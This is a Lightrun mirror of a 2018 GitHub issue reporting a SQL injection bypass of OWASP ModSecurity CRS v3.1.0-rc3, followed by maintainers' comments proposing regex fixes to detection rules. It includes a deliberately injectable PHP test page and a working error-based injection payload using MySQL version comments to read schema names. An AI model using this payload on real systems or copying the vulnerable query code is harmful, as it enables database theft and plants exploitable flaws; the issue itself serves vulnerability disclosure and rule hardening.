question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Bypass the latest crs v3.1.0-rc3 rules for SQL injection

See original GitHub issue

_Issue originally created by user seedis on date 2018-08-10 07:24:37. Link to original issue: https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1167._

Vulnerability demo(php+mysql+apache)

test.php

<?php 
$id=$_GET['id'];
$conn=new mysqli('localhost','root','root','test');
if(!$conn){
	die("Error to connect database!");
}
$sql="select username from user where id=".$id;
echo "$sql"."</br></br>";
$res=$conn->query($sql);
#while($row=$res->fetch_row())  
if($res){
    $row=$res->fetch_row();
    echo "\t Hello <b>$row[0] </b>,Welcome to login,having a good day!";
    $res->free();
    $conn->close();
}else{
echo "<b>".mysqli_error($conn)."</b>";
}
?>

Download and install the latest v3.1.0-rc3 rules and enable blocking protection for testing. I found a way to bypass the rules for SQL injection through black box testing. This method is: {`a`b} , where a is a special function name, such as if, version, etc., and b is the sql statement to be executed. Using the method to successfully bypass the rules for SQL injection, you can see that the database name was successfully read using the error.

http://127.0.0.1/test.php?id=1  and{`if`updatexml(1,concat(0x3a,(select /*!50000(/*!50000schema_name) from/*!50000information_schema*/.schemata limit 0,1)),1)}

image

In this way, you can use this method to bypass the crs rules and get any content in the database in the vulnerable system.

Please fix this security issue as soon as possible,Thank You.

Issue Analytics

  • State:closed
  • Created 3 years ago
  • Comments:15

github_iconTop GitHub Comments

2reactions
CRS-migration-botcommented, May 13, 2020

User franbuehler commented on date 2018-08-10 20:57:26:

As lifeforms mentioned, the string information_schema can be found in different source files:

942140:information_schema\b
942190:from\W+information_schema\W
942330:\Winformation_schema

The problem in rule 942140 is, as spartantri said, the word boundary: His solution with the (?:\w+)? works! The problem with the rules 942190 and 942330 is the required non-word character in front of information_schema. Rule 942190 could also be extended with the (?:\w+)?: from\W+(?:\w+)?information_schema\W. Rule 942330 too: \W(?:\w+)?information_schema.

But that only solves the problem related to information_schema.

Either we extend all our sqli rules with this regexp or we make a new rule to detect extension annotation. I am not an sql pro (had a look at: https://dev.mysql.com/doc/refman/8.0/en/comments.html), but maybe something like that would work to detect (some) extensions:

\/\*[!+](?:[\w\s=_\-()]+)?\*\/

Tested with: 1 and{ifupdatexml(1,concat(0x3a,(select /*!50000(/*!50000schema_name) from/*!50000information_schema*/.schemata limit 0,1)),1)} and from: https://dev.mysql.com/doc/refman/8.0/en/comments.html: SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ... CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */; SELECT /*+ BKA(t1) */ FROM ... ;

I am not sure about false positives. But the minimal string needed to trigger the regexp is: /*!*/ or /*+*/. In my opinion this is not a very commonly used, legitimate string.

The rule 942440 from PL2 catches both /*! and */ independently. This is more prone to false positives.

I would rather write a new rule (maybe even on PL1) to catch these extensions, than to extend all sql rules.

1reaction
CRS-migration-botcommented, May 13, 2020

User spartantri commented on date 2018-08-10 13:35:47:

lifeforms 942140 doesn’t match because there is no boundary before information_schema the 5000 is part of the same word so we may add an additional optional word prefix to 942140 and it will work.

something like this: (?i:\b(?:\w+)?(?:(?:m(?:s(?:ys(?:ac(?:cess(?:objects|storage|xml)|es)|(?:relationship|object|querie)s|modules2?)|db)|aster\.\.sysdatabases|ysql\.db)|pg_(?:catalog|toast)|information_schema|northwind|tempdb)\b|s(?:(?:ys(?:\.database_name|aux)|qlite(?:_temp)?_master)\b|chema(?:_name\b|\W*\())|d(?:atabas|b_nam)e\W*\())

942440 at PL2 is there to detect the /*!

Read more comments on GitHub >

github_iconTop Results From Across the Web

CVE-2018-16384 Detail - NVD
A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3 via {`a`b} ...
Read more >
CVE on Twitter: "CVE-2018-16384 A SQL injection bypass ...
CVE-2018-16384 A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3 ...
Read more >
CVE-2018-16384 - CVE.report
A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3 via {`a`b} where a is a...
Read more >
OWASP ModSecurity Core Rule Set sql injection - VulDB
A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3 via {`a`b} where a is a...
Read more >
Trustwave Owasp Modsecurity Core Rule Set - Security ...
A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3.
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found